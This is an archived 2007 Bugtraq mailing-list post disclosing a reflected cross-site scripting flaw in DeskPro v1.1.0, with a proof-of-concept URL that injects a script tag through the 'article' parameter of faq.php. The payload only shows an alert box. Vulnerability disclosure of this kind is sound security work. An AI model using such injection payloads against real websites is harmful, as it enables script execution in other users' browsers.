XSS in [deskpro.com v1.1.0 ]

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: XSS in [deskpro.com v1.1.0 ]
From: bl4ck@xxxxxxxxxxx
Date: 14 Feb 2007 17:10:34 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

hey guys .. check out this new xss i just found  ;P

Vulnerable :  deskpro.com v1.1.0
web : http://www.deskpro.com, http://customers.qwk.net
Version : v1.1.0

XSS :

http://127.0.0.1/dp/faq.php?article=";><script>alert('bl4ck')</script>


################################
Discovered  By BLacK ZeRo
K.S.A
bL4ck@xxxxxxxxxxx
################################

Best regards ,,

Prev by Date: Re: Solaris telnet vulnberability - how many on your network?
Next by Date: Comodo DLL injection via weak hash function exploitation Vulnerability
Previous by thread: XSS in [Calendar Express 2 ]
Next by thread: Comodo DLL injection via weak hash function exploitation Vulnerability
Index(es):
- Date
- Thread